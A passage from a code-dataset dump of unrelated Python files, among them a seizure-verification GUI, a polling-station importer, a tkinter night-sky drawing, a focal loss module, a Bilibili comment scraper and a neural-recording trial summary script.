os.path.exists(self.verpred_dir) is False:\n os.mkdir(self.verpred_dir)\n \n\n def select_file(self):\n \"\"\"\n Select file to load from list. Adds stars next to files that have been scored already.\n \n Returns\n -------\n option : Str, selection of file id\n \"\"\"\n \n # get all files in raw predictions folder \n rawpredlist = list(filter(lambda k: '.csv' in k, os.listdir(self.rawpred_dir)))\n \n # get all files in user verified predictions\n verpredlist = list(filter(lambda k: '.csv' in k, os.listdir(self.verpred_dir)))\n \n # get unique list\n not_analyzed_filelist = list(set(rawpredlist) - set(verpredlist))\n \n # remaining filelist\n analyzed_filelist = list(set(rawpredlist) - set(not_analyzed_filelist))\n \n # filelist\n filelist = [' *** ' + s for s in analyzed_filelist] + not_analyzed_filelist \n \n # select from command list\n title = 'Please select file for analysis: '\n option, index = pick(filelist, title, indicator = '-> ')\n return option.replace(' *** ','')\n\n\n def get_bounds(self, file_id):\n \"\"\"\n\n Parameters\n ----------\n file_id : String\n\n Returns\n -------\n data : 3d Numpy Array (1D = segments, 2D = time, 3D = channel)\n idx_bounds : 2D Numpy Array (rows = seizures, cols = start and end points of detected seizures)\n\n \"\"\"\n \n print('-> File being analyzed: ', file_id)\n\n # Get predictions\n pred_path = os.path.join(self.rawpred_dir, file_id)\n bin_pred = np.loadtxt(pred_path, delimiter=',', skiprows=0)\n idx_bounds = find_szr_idx(bin_pred, dur=1)\n \n # load raw data for visualization\n data_path = os.path.join(self.org_dir, file_id.replace('.csv','.h5'))\n f = tables.open_file(data_path, mode='r')\n data = f.root.data[:]\n f.close()\n \n # check whether to continue\n print('>>>>',idx_bounds.shape[0] ,'seizures detected')\n \n return data, idx_bounds\n\n \n def save_emptyidx(self, data_len, file_id):\n \"\"\"\n Save user predictions to csv file as binary\n \n Returns\n -------\n None.\n \n \"\"\"\n # pre allocate file with zeros\n ver_pred = np.zeros(data_len)\n \n # save file\n np.savetxt(os.path.join(self.verpred_dir, file_id), ver_pred, delimiter=',',fmt='%i')\n print('Verified predictions for ', file_id, ' were saved\\n')\n \n \n\n \n \n \n \n \n","repo_name":"neurosimata/seizy","sub_path":"user_gui/user_verify.py","file_name":"user_verify.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16199735381","text":"#discover service properties\nSHEETS_SERVICE_VERSION = 'v4'\nDRIVE_SERVICE_VERSION = 'v3'\n\n#sheet properties\nFORMAT = '%Y/%m/%d %H:%M:%S'\nSHEET_ID = 0\nSHEET_TYPE = 'GRID'\nTITLE = 'Отчеты QRkot'\nROW_COUNT = 60\nCOLUMN_COUNT = 8\n","repo_name":"aleksandrtikhonov/QRkot_spreadsheets","sub_path":"app/services/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6509782336","text":"from data_importers.management.commands import BaseDemocracyCountsCsvImporter\n\n\nclass Command(BaseDemocracyCountsCsvImporter):\n council_id = \"WRT\"\n addresses_name = (\n \"2021-03-12T13:29:25.271939/Democracy Club - Polling Districts 2021.csv\"\n )\n stations_name = (\n \"2021-03-12T13:29:25.271939/Democracy Club - Polling Stations 2021.csv\"\n )\n elections = [\"2021-05-06\"]\n\n def station_record_to_dict(self, record):\n # correction from council\n if record.stationcode in [\"138\", \"139\"]:\n record = record._replace(add1=\"Ellesmere Road\")\n record = record._replace(postcode=\"WA4 6DS\")\n\n # Correction from Council\n # Rixton with Glazebrook Community Hall -> St Helen Church\n if record.stationcode == \"55\":\n record = record._replace(\n add1=\"Church House\",\n add2=\"Manchester Road\",\n add3=\"Hollinfare\",\n add4=\"Rixton with Glazebrook\",\n add5=\"\",\n add6=\"\",\n postcode=\"WA3 6LB\",\n xordinate=\"\",\n yordinate=\"\",\n placename=\"St Helen Church\",\n )\n\n return super().station_record_to_dict(record)\n\n def address_record_to_dict(self, record):\n if record.postcode in [\"WA4 5PQ\", \"WA4 1UN\"]:\n return None\n if record.uprn in [\"200000979589\"]:\n return None\n return super().address_record_to_dict(record)\n","repo_name":"DemocracyClub/UK-Polling-Stations","sub_path":"polling_stations/apps/data_importers/management/commands/import_warrington.py","file_name":"import_warrington.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"48"} +{"seq_id":"42563873934","text":"# draw the night sky:\n# - The background should be black\n# - The stars should be small squares\n# - The stars should have random positions on the canvas\n# - The stars should have random color (some shade of grey)\n\nfrom tkinter import *\nfrom random import randint\n# from os import system\n\n# R G B to HEX converter\ndef rgbhex(r,g,b):\n return '#%02x%02x%02x' % (r, g, b)\n\nroot = Tk()\n\ncanvas = Canvas(root, width='400', height='300')\ncanvas.pack()\n\nmax_x = int(canvas['width'])\nmax_y = int(canvas['height'])\n\ncanvas['bg'] = rgbhex(0,0,60)\n\ndef star(relx, rely, dim, moon = False):\n step = randint(2,15) \n for i in range(step, 1, -1):\n relx += randint(-1,1)\n rely += randint(-1,1)\n topx = relx - dim // 2\n topy = rely - dim // 2\n botx = relx + dim // 2\n boty = rely + dim // 2\n canvas.create_oval(topx, topy, botx, boty, outline=\"\", fill = rgbhex(255 - i * randint(7,15), 255 - i * randint(7,15), 255 - i * randint(3,6)))\n dim -= 2\n canvas.create_oval(relx - 2, rely - 2, relx + 1, rely + 1, outline = \"\", fill = rgbhex(250,250,15))\n if moon:\n canvas.create_oval(relx - randint(15, 20), rely - randint(15, 20), relx + randint(15, 20), rely + randint(15, 20), outline = \"\", fill = rgbhex(233,233,0))\n canvas.create_oval(relx, rely - randint(20, 25), relx + randint(25, 30), rely + randint(5, 10), outline = \"\", fill = rgbhex(233,233,233))\n\ndef star2(centx, centy, size, moon = False):\n step = randint(10, 30)\n half = size // 2\n for i in range(0, step):\n diff = randint(1,5)\n for j in range(10):\n ext = j * 36\n canvas.create_arc(centx - half - diff, centy - half - diff, centx + half + diff, centy + half + diff, start = ext, extent = ext + randint(30,40), width = randint(1,3), outline = rgbhex(randint(220, 255), randint(220, 255), randint(220, 255)), fill = '', style = ARC)\n canvas.create_rectangle(centx - half - diff, centy - half - diff, centx + half + diff, centy + half + diff, outline = \"\", fill = rgbhex(randint(5,20),randint(10,25),randint(10,25)))\n half -= randint(1, 3)\n\ndef bush(topx, topy, maxw, complexity):\n h = max_y - topy\n for i in range(complexity):\n pos = randint(topx, topx + maxw)\n canvas.create_rectangle(pos, topy + h // 10 * randint(1, 6) , randint(pos, topx + maxw), max_y, outline = \"\", fill = rgbhex(randint(5,20),randint(10,25),randint(10,25)))\n canvas.create_rectangle(topx + maxw // 5 * 2, topy, topx + maxw // 5 * 3, max_y, outline = \"\", fill = rgbhex(randint(5,20),randint(10,25),randint(10,25)))\n\ndef arc(topx, topy, w, h, stroke, c):\n if c == 'dblue':\n Red = randint(10,20)\n Green = randint(10,20)\n Blue = randint(35,75)\n elif c == 'blue':\n Red = randint(20,30)\n Green = randint(20,30)\n Blue = randint(75,125)\n elif c == 'white':\n Red = randint(222,255)\n Green = randint(222,255)\n Blue = randint(222,255)\n elif c == 'lgrey':\n Red = randint(125,200)\n Green = randint(125,200)\n Blue = randint(125,200)\n canvas.create_arc(topx, topy, topx + w, topy + h, start = randint(66, 180), extent = stroke, width = randint(1,3), outline = rgbhex(Red,Green,Blue), fill = '', style = ARC)\n\n#background bars\nfor i in range(10):\n canvas.create_rectangle(0, ((max_y // 20) * 10) + (i * max_y // 20), max_x, max_y, outline = \"\", fill = rgbhex(0,0,60 - i * 6))\n\n#background arcs\nfor i in range(400):\n arc(randint(0, max_x - 10), randint(0, max_y // 5 * 3), randint(10,15), randint(10,15), randint(33,188), 'dblue')\nfor i in range(300):\n arc(randint(0, max_x - 10), randint(0, max_y // 5 * 3), randint(10,15), randint(10,15), randint(33,188), 'blue')\nfor i in range(200):\n arc(randint(0, max_x - 10), randint(0, max_y // 5 * 3), randint(10,15), randint(10,15), randint(33,188), 'lgrey')\nfor i in range(50):\n arc(randint(0, max_x - 10), randint(0, max_y // 5 * 3), randint(10,15), randint(10,15), randint(33,188), 'white')\n\n#stars\nfor i in range(9):\n star(randint(5,max_x - max_x // 11), randint(5, max_y - max_y // 11 * 5), randint(11, 35), False)\n #star2(randint(5, max_x - 5), randint(5, max_y // 7 * 4), randint(5,15), False)\n\n#moon\nstar(randint(max_x - max_x // 5 - 5, max_x - max_x // 5 -5), randint(5, max_y // 5), randint(65, 75), True)\n\n#houses\nfor i in range(66):\n h = randint(11, 35)\n w = randint(11, 45)\n topx = randint(0, max_x - w)\n topy = randint((max_y) // 5 * 3, max_y - h) \n c = rgbhex(0,randint(0, 55), randint(0, 77))\n canvas.create_rectangle(topx, topy, topx + w, topy + h, outline = \"\", fill = c)\n for j in range(randint(1, 2)):\n wh = randint(3,7)\n ww = randint(3,7)\n wx = topx + randint(0, w - ww - 1)\n wy = topy + randint(0, h - wh - 1)\n c = rgbhex(randint(150,200),randint(150, 200), 0)\n canvas.create_rectangle(wx, wy, wx + ww, wy + wh, outline = \"\", fill = c)\n\n#bush\nbush(randint(10, max_x - max_x // 5 * 4), max_y // 7, max_x // 5 + randint(0, 10), 7)\n\nroot.mainloop()","repo_name":"green-fox-academy/DonBattery","sub_path":"week-03/day-3/starry_night.py","file_name":"starry_night.py","file_ext":"py","file_size_in_byte":5075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12745089285","text":"import torch\nimport torch.nn.functional as F\nfrom .base import BaseTransform\n\n\nclass ActivatedTransform(BaseTransform):\n \"\"\"\n Tranform:\n pred to sigmoid(pred) or softmax(pred)\n y to y or one_hot(y)\n \"\"\"\n def __init__(self, is_multilabel=False, round=False, return_weight=False):\n super(ActivatedTransform, self).__init__()\n self.is_multilabel=is_multilabel\n self.round = round\n self.return_weight = return_weight\n\n def _transform(self, y_pred, y, weight):\n # transform y_pred\n if self.is_multilabel or y_pred.ndim == 1:\n y_pred = torch.sigmoid(y_pred)\n if self.round:\n y_pred = y_pred.round()\n else:\n y_pred = torch.softmax(y_pred, dim=-1)\n # transform y\n if self.is_multilabel:\n y = F.one_hot(y, num_classes=y_pred.shape[-1])\n\n if self.return_weight:\n return y_pred, y, dict(weight=weight)\n else:\n return y_pred, y","repo_name":"sandylaker/leaf_disease","sub_path":"leaf_disease/apis/output_transforms/activated.py","file_name":"activated.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26162518770","text":"def main():\r\n n,k = map(int,input().split())\r\n num = 0\r\n for i in range(n):\r\n i += 1\r\n for j in range(k):\r\n j += 1\r\n num += int(str(i)+\"0\"+str(j))\r\n print(num)\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"KK56ken/Competitive_professional","sub_path":"AtCoder/python/ABC_203/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34916852225","text":"def center_point(p1,p2):\n #return a point in the center of the segment ended by points p1 and p2\n \n cp=[]\n for i in range(3):\n cp.append((p1[i]+p2[i])/2)\n \n return cp\n \ndef sum_point(p1,p2):\n #adds points p1 and p2\n sp = []\n \n for i in range(3):\n sp.append(p1[i]+p2[i])\n \n return sp\n \ndef sub_point(p1,p2):\n \n sp=[]\n for i in range(3):\n sp.append(p1[1]-p2[2])\n \n return sp\n \ndef div_point(p,d):\n #divide point p by d\n sp=[]\n for i in range(3):\n sp.append(p[i]/d)\n return sp\n \ndef mul_point(p,m):\n #multply point p by m\n sp=[]\n for i in range(3):\n sp.append(p[i]*m)\n \n return sp\n \ndef get_edges_faces(input_points,input_faces):\n # get list of egdes and the one or two adjacent faces in a list\n # also get center point of edge\n # each edge would be [pointnum_1,pointnum_2,facenum_1,facenum_2,center]\n \n #will have[pointnum_1,pointnum_2,facenum]\n \n edges=[]\n \n # get edges from each face\n face0 = input_faces[0]\n\n for facenum in range(len(input_faces)):\n face = input_faces[facenum]\n num_points = len(face)\n # loop over index into face\n for pointindex in range(num_points):\n # if not last point then edge is curr point and next point\n if pointindex < num_points -1:\n pointnum_1 = face[pointindex]\n pointnum_2 = face[pointindex+1]\n \n \n else:\n # for last point edge is curr point and first point\n pointnum_1 = face[pointindex]\n pointnum_2 = face[0]\n \n \n # order points in edge by lowest point number\n if pointnum_1 > pointnum_2:\n temp = pointnum_1\n pointnum_1 = pointnum_2\n pointnum_2 = temp\n \n edges.append([pointnum_1,pointnum_2,facenum])\n edges=sorted(edges)\n num_edges = len(edges)\n eindex=0\n merged_edges = []\n \n while eindex < num_edges:\n e1 = edges[eindex]\n # check if not last edge\n if eindex < num_edges -1:\n e2 = edges[eindex-1]\n if e1[0] == e2[0] and e1[1] == e2[1]:\n merged_edges.append([e1[0],e1[1],e1[2],e2[2]])\n eindex +=2\n else:\n merged_edges.append([e1[0],e1[1],e1[2],None])\n eindex +=1\n \n else:\n merged_edges.append([e1[0],e1[1],e1[2],None])\n eindex +=1\n\n # add edge centers\n\n edges_centers = []\n\n for me in merged_edges:\n p1 = input_points[me[0]]\n p2 = input_points[me[1]]\n cp = center_point(p1,p2)\n edges_centers.append(me+[cp])\n\n return edges_centers\n\n\ndef get_faces_points(input_points,input_faces,edges_faces):\n # get list of edges and the one or two adjacent faces in a list\n # also get center point of edge\n # each edge would be [pointnum_1,pointnum_2,facenum_1,facenum_2,center]\n\n num_edges = len(edges_faces)\n faces_points=[]\n\n for edge in edges_faces:\n if edge[3] != None:\n faces_point=[0.0,0.0,0.0]\n for face_num in [edge[2],edge[3]]:\n for point_num in input_faces[face_num]:\n if point_num !=edge[0] and point_num != edge[1]:\n faces_point = sum_point(faces_point,mul_point(input_points[point_num],0.25))\n else:\n faces_point = sum_point(faces_point,mul_point(input_points[point_num],0.125))\n faces_points.append(faces_point)\n\n else:\n faces_point=[0.0,0.0,0.0]\n faces_points.append(faces_point) \n return faces_points \n\ninput_faces=[[0,3,1],[0,3,2],[0,2,1],[3,2,1]]\ninput_points=[[-1.0,1.0,1.0],[1.0,-1.0,1.0],[1.0,1.0,-1.0],[-1.0,-1.0,-1.0]]\n\na=get_edges_faces(input_points,input_faces)\nprint (a)\nprint(\"\\n\")\nb=get_faces_points(input_points,input_faces,a)\nprint (b)\n","repo_name":"asdbeen/polygontest","sub_path":"Archive/Loop subdivision py/Loop subdivision.py","file_name":"Loop subdivision.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73932786704","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 3 19:14:43 2022\r\n\r\n@author: jpagu\r\n\"\"\"\r\n\r\nimport calculadora_indices as calc\r\n\r\ndef ejecutar_calculo_calorias_reposo(peso: float, altura: float, edad: int, valor_genero: int)-> None:\r\n calorias_reposo = calc.calcular_calorias_en_reposo(peso, altura, edad, valor_genero)\r\n calorias_reposo = round(calorias_reposo, 2)\r\n print('Tus calorias consumidas en reposo son: ', calorias_reposo)\r\n \r\ndef iniciar_aplicacion()-> None:\r\n peso = float(input('Ingrese su peso en kilogramos: '))\r\n altura = float(input('Ingrese su altura en centimetros: '))\r\n edad = int(input('Ingrese su edad en años: '))\r\n valor_genero = int(input('Ingrese 5 si es hombre y si es mujer ingrese -161: '))\r\n ejecutar_calculo_calorias_reposo(peso, altura, edad, valor_genero)\r\n \r\niniciar_aplicacion()","repo_name":"jpaguilarc99/Python-codes","sub_path":"Programación en Python/Índices corporales/consola_calculo_calorias_reposo.py","file_name":"consola_calculo_calorias_reposo.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1707064402","text":"from collections import namedtuple\n\nStartPoint = namedtuple(\"StartPoint\", \"x y\")\nMargins = namedtuple(\"Margins\", \"top right bottom left\")\n\nclass Calendar:\n def __init__(self, cell_height, cell_width, margins, border_inner, border_outer):\n self.cell_height = cell_height\n self.cell_width = cell_width\n self.margins = margins\n self.border_inner = border_inner\n self.border_outer = border_outer\n self.num_weeks = 0\n\n @property\n def width(self):\n \"\"\"\n Calculate the width of a calendar by mimicking the pixel dimensions of a row in a calendar\n \"\"\"\n return (\n self.border_outer\n +\n # Multiply by number of days in a week\n (self.cell_width * 7)\n +\n # Multiply by number of borders between days in a week\n (self.border_inner * 6)\n + self.border_outer\n + self.margins.right\n )\n\n @property\n def height(self):\n \"\"\"\n Calculate the height of a calendar by mimicking the pixel dimensions of the rows in a calendar\n \"\"\"\n return (\n self.border_outer\n # All calendars display six rows, even if they contain a fewer number of weeks\n + (self.cell_height * 6)\n + (self.border_inner * (self.num_weeks - 1))\n + self.border_outer\n + self.margins.bottom\n )\n\n @property\n def week_height(self):\n return self.cell_height + self.border_inner\n","repo_name":"MasterKale/cigt-disneyland","sub_path":"backend/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13618037475","text":"\"\"\" Taken from https://github.com/rabeehk/robust-nli\"\"\"\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nclass FocalLoss(nn.Module):\n def __init__(self, alpha=1.0, gamma=2.0, temperature=1.0, size_average=True):\n super().__init__()\n self.alpha = alpha\n self.gamma = gamma\n self.temperature = temperature\n self.size_average = size_average\n\n def compute_probs(self, inputs, targets):\n prob_dist = F.softmax(inputs, dim=1)\n pt = prob_dist.gather(1, targets)\n return pt\n\n def compute_probs_temp(self, inputs, targets):\n prob_dist = F.softmax(inputs / self.temperature, dim=1)\n pt = prob_dist.gather(1, targets)\n return pt\n\n def aggregate(self, p1, p2, operation):\n if self.aggregate_ensemble == \"mean\":\n result = (p1+p2)/2\n return result\n elif self.aggregate_ensemble == \"multiply\":\n result = p1*p2\n return result\n else:\n assert NotImplementedError(\"Operation \", operation, \"is not implemented.\")\n\n def forward(self, inputs, targets, inputs_adv, targets_adv, second_inputs_adv=None):\n\n targets = targets.view(-1, 1)\n targets_adv = targets_adv.view(-1, 1)\n pt = self.compute_probs(inputs, targets)\n pt_scale = self.compute_probs_temp(inputs_adv, targets_adv)\n a = torch.pow((1 - pt_scale), self.gamma)\n batch_loss = -self.alpha * a * torch.log(pt)\n\n if self.size_average:\n loss = batch_loss.mean()\n else:\n loss = batch_loss.sum()\n\n return loss","repo_name":"technion-cs-nlp/BLIND","sub_path":"common/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23372991606","text":"\"\"\"\nWritten by Yvonne.\nThere are 3 text files and I want to combine them after erase three marks: comma, period, and double dash.\nI found the result that combined 3 text files well but the marks that I wanted to remove were still there.\nPlease what have I done wrong?\n\"\"\"\nimport numpy as np\n\nnum_book = 3\nnewbook = []\nfor reading in range(1,num_book):\n name = 'return.{0:0>2}.txt'.format(reading)\n with open(name) as book:\n booklines = book.readlines()\n\n for i in range(len(booklines)):\n changed = booklines[i].replace(',','')\n changed = booklines[i].replace('.','')\n changed = booklines[i].replace('--','')\n newbook.append(changed)\n\n\ncombined = open(\"newbook.txt\", \"w\")\nfor writing in range(len(newbook)):\n combined.write(newbook[writing])\ncombined.close()\n\n# Comments: check the script carefully!! this writer might have not mentioned some other problems\n# because she didn't realize it yet.","repo_name":"EMCSlabs/Programs","sub_path":"Tutorials/Python_Tutorial/pytuto(1.2.1)/assignment/7th/Yvonne_script_1.py","file_name":"Yvonne_script_1.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"72632783827","text":"# -*- coding:utf-8 -*-\n\n\nimport operator\nimport time\nimport random\nimport json\nimport pandas\nimport requests\nimport snownlp\n\nheaders = {\n 'Accept-Encoding': 'gzip, deflate, sdch',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Connection': 'keep-alive',\n \"Host\": \"api.live.bilibili.com\"\n}\nroomId = \"8604981\"\ndata = {\n 'uid': list(),\n 'nickname': list(),\n 'timeline': list(),\n 'text': list(),\n 'isadmin': list()\n}\ndata_list = [\n 'uid', 'nickname', 'timeline', 'text', 'isadmin'\n]\nurl = \"https://api.live.bilibili.com/xlive/web-room/v1/dM/gethistory?roomid=8604981\"\nMAX = 10\n\n\ndef gain_data():\n \"\"\"\n\n :return:\n \"\"\"\n r = requests.post(url, headers=headers)\n '''key'''\n ''''text', 'uid', 'nickname', 'timeline', 'isadmin' '''\n admin = r.json()[\"data\"][\"admin\"]\n room = r.json()[\"data\"][\"room\"]\n for ad in admin:\n for dl in data_list:\n data[dl].append(ad[dl])\n for ro in room:\n for dl in data_list:\n data[dl].append(ro[dl])\n\n\ndef save_msg():\n \"\"\"\n\n :return:\n \"\"\"\n i = 0\n while True and i != MAX:\n time.sleep(random.randint(4, 6))\n gain_data()\n i += 1\n '''csv'''\n pandas.DataFrame(data).to_csv(\"../resource/bilibili/bilibili_data.csv\", encoding=\"utf-8\")\n '''json'''\n with open(\"../resource/bilibili/bilibili_data.json\", \"w\", encoding=\"utf-8\") as f:\n f.write(json.dumps(data, ensure_ascii=False))\n\n\ndef analysis_data():\n \"\"\"\n\n :return:\n \"\"\"\n with open(\"../resource/bilibili/bilibili_data.json\", \"r\") as f:\n d = json.load(f)\n d[\"text_analysis\"] = list()\n count1, count2 = 0, 0\n for text in d[\"text\"]:\n t = snownlp.SnowNLP(text)\n if t.sentiments > 0.5:\n d[\"text_analysis\"].append(1)\n count1 += 1\n else:\n d[\"text_analysis\"].append(-1)\n count2 += 1\n print(\"count1 : \", count1, \"\\t count2 : \", count2)\n '''analysis'''\n text = \"\".join(d[\"text\"])\n s = snownlp.SnowNLP(text)\n dict_word = dict()\n s_word = s.words\n for it in s_word:\n dict_word[it] = s_word.count(it)\n dict_word = sorted(dict_word.items(), key=operator.itemgetter(1), reverse=True)[:10]\n for t in dict_word:\n print(t[0], \"\\t\", t[1])\n\n\nif __name__ == '__main__':\n \"\"\"\"\"\"\n # save_msg()\n # print(data)\n # text1 = '不会真的有人喜欢这部电影吧'\n # s1 = snownlp.SnowNLP(text1)\n # print(text1, s1.sentiments)\n analysis_data()\n","repo_name":"Gedanke/ReptileDemo","sub_path":"basis/code/bilibili_barrage.py","file_name":"bilibili_barrage.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23762519664","text":"#!/usr/bin/env python\n\n#import packages\nimport scipy.io as sio\nimport numpy as np\nimport pdb\nimport xlsxwriter\nimport glob\n#import matplotlib.pyplot as plt\n#import statsmodels.api as sm\nimport pandas as pd\nfrom matplotlib import cm\nimport xlsxwriter\n\n\n#########\n\nM1_import = sio.loadmat('corr_output_M1.mat')\nS1_import = sio.loadmat('corr_output_S1.mat')\nPmD_import = sio.loadmat('corr_output_PmD.mat')\n\ncondensed = M1_import['condensed']\nnum_trials = np.shape(condensed)[0]\n\nr0 = len(np.where(condensed[:,3] == 0)[0].astype(int))\nr1 = len(np.where(condensed[:,3] == 1)[0].astype(int))\nr2 = len(np.where(condensed[:,3] == 2)[0].astype(int))\nr3 = len(np.where(condensed[:,3] == 3)[0].astype(int))\nrx = len(np.where(condensed[:,3] >= 1)[0].astype(int))\n\np0 = len(np.where(condensed[:,4] == 0)[0].astype(int))\np1 = len(np.where(condensed[:,4] == 1)[0].astype(int))\np2 = len(np.where(condensed[:,4] == 2)[0].astype(int))\np3 = len(np.where(condensed[:,4] == 3)[0].astype(int))\npx = len(np.where(condensed[:,4] >= 1)[0].astype(int))\n\nv_3 = len(np.where(condensed[:,6] == -3)[0].astype(int))\nv_2 = len(np.where(condensed[:,6] == -2)[0].astype(int))\nv_1 = len(np.where(condensed[:,6] == -1)[0].astype(int))\nv0 = len(np.where(condensed[:,6] == 0)[0].astype(int))\nv1 = len(np.where(condensed[:,6] == 1)[0].astype(int))\nv2 = len(np.where(condensed[:,6] == 2)[0].astype(int))\nv3 = len(np.where(condensed[:,6] == 3)[0].astype(int))\n\nm0 = len(np.where(condensed[:,7] == 0)[0].astype(int))\nm1 = len(np.where(condensed[:,7] == 1)[0].astype(int))\nm2 = len(np.where(condensed[:,7] == 2)[0].astype(int))\nm3 = len(np.where(condensed[:,7] == 3)[0].astype(int))\nm4 = len(np.where(condensed[:,7] == 4)[0].astype(int))\nm5 = len(np.where(condensed[:,7] == 5)[0].astype(int))\nm6 = len(np.where(condensed[:,7] == 6)[0].astype(int))\n\nres0 = len(np.where(condensed[:,5] == 0)[0].astype(int))\nres1 = len(np.where(condensed[:,5] == 1)[0].astype(int))\n\ntry:\n catch_x = len(np.where(condensed[:,11] <= -1)[0].astype(int))\n catchx = len(np.where(condensed[:,11] >= 1)[0].astype(int))\n\n catch_3 = len(np.where(condensed[:,11] == -3)[0].astype(int))\n catch_2 = len(np.where(condensed[:,11] == -2)[0].astype(int))\n catch_1 = len(np.where(condensed[:,11] == -1)[0].astype(int))\n catch1 = len(np.where(condensed[:,11] == 1)[0].astype(int))\n catch2 = len(np.where(condensed[:,11] == 2)[0].astype(int))\n catch3 = len(np.where(condensed[:,11] == 3)[0].astype(int))\nexcept:\n pass\n\nr0_p0 = sum(np.logical_and(condensed[:,3] == 0, condensed[:,4] == 0))\nrx_p0 = sum(np.logical_and(condensed[:,3] >= 1, condensed[:,4] == 0))\nr0_px = sum(np.logical_and(condensed[:,3] == 0, condensed[:,4] >= 1))\nrx_px = sum(np.logical_and(condensed[:,3] >= 1, condensed[:,4] >= 1))\n\nr0_p0_f = sum(np.logical_and(np.logical_and(condensed[:,3] == 0, condensed[:,4] == 0),condensed[:,5]==0))\nrx_p0_f = sum(np.logical_and(np.logical_and(condensed[:,3] >= 1, condensed[:,4] == 0),condensed[:,5]==0))\nr0_px_f = sum(np.logical_and(np.logical_and(condensed[:,3] == 0, condensed[:,4] >= 1),condensed[:,5]==0))\nrx_px_f = sum(np.logical_and(np.logical_and(condensed[:,3] >= 1, condensed[:,4] >= 1),condensed[:,5]==0))\nr0_p0_s = sum(np.logical_and(np.logical_and(condensed[:,3] == 0, condensed[:,4] == 0),condensed[:,5]==1))\nrx_p0_s = sum(np.logical_and(np.logical_and(condensed[:,3] >= 1, condensed[:,4] == 0),condensed[:,5]==1))\nr0_px_s = sum(np.logical_and(np.logical_and(condensed[:,3] == 0, condensed[:,4] >= 1),condensed[:,5]==1))\nrx_px_s = sum(np.logical_and(np.logical_and(condensed[:,3] >= 1, condensed[:,4] >= 1),condensed[:,5]==1))\n\nM1_unit_num = np.shape(M1_import['corr_output'])[0]\nS1_unit_num = np.shape(S1_import['corr_output'])[0]\nPmD_unit_num = np.shape(PmD_import['corr_output'])[0]\n\nprint('Number of trials: %s\\n' %(num_trials))\n\nprint ('r0: %s' %(r0))\nprint ('r1: %s' %(r1))\nprint ('r2: %s' %(r2))\nprint ('r3: %s' %(r3))\nprint ('rx: %s\\n' %(rx))\n\nprint ('p0: %s' %(p0))\nprint ('p1: %s' %(p1))\nprint ('p2: %s' %(p2))\nprint ('p3: %s' %(p3))\nprint ('px: %s\\n' %(px))\n\nprint ('v_3: %s' %(v_3))\nprint ('v_2: %s' %(v_2))\nprint ('v_1: %s' %(v1))\nprint ('v0: %s' %(v0))\nprint ('v1: %s' %(v1))\nprint ('v2: %s' %(v2))\nprint ('v3: %s\\n' %(v3))\n\nprint ('m0: %s' %(m0))\nprint ('m1: %s' %(m1))\nprint ('m2: %s' %(m2))\nprint ('m3: %s' %(m3))\nprint ('m4: %s' %(m4))\nprint ('m5: %s' %(m5))\nprint ('m6: %s\\n' %(m6))\n\nprint ('succ: %s' %(res1))\nprint ('fail: %s\\n' %(res0))\n\ntry:\n print('catch_x: %s' %(catch_x))\n print('catchx: %s\\n' %(catchx))\n\n print('catch_3: %s' %(catch_3))\n print('catch_2: %s' %(catch_2))\n print('catch_1: %s' %(catch_1))\n print('catch1: %s' %(catch1))\n print('catch2: %s' %(catch2))\n print('catch3: %s\\n' %(catch3))\nexcept:\n pass\n\nprint('r0_p0: %s' %(r0_p0))\nprint('rx_p0: %s' %(rx_p0))\nprint('r0_px: %s' %(r0_px))\nprint('rx_px: %s\\n' %(rx_px))\n\nprint('r0_p0_f: %s' %(r0_p0_f))\nprint('rx_p0_f: %s' %(rx_p0_f))\nprint('r0_px_f: %s' %(r0_px_f))\nprint('rx_px_f: %s' %(rx_px_f))\nprint('r0_p0_s: %s' %(r0_p0_s))\nprint('rx_p0_s: %s' %(rx_p0_s))\nprint('r0_px_s: %s' %(r0_px_s))\nprint('rx_px_s: %s\\n' %(rx_px_s))\n\nprint('M1 units: %s' %(M1_unit_num))\nprint('S1 units: %s' %(S1_unit_num))\nprint('PmD units: %s' %(PmD_unit_num))\n\n\n\noutput = open(\"block_summary.txt\",\"w\")\noutput.write('Number of trials: %s\\n\\n' %(num_trials))\noutput.write ('r0: %s\\n' %(r0))\noutput.write ('r1: %s\\n' %(r1))\noutput.write ('r2: %s\\n' %(r2))\noutput.write ('r3: %s\\n' %(r3))\noutput.write ('rx: %s\\n\\n' %(rx))\n\noutput.write ('p0: %s\\n' %(p0))\noutput.write 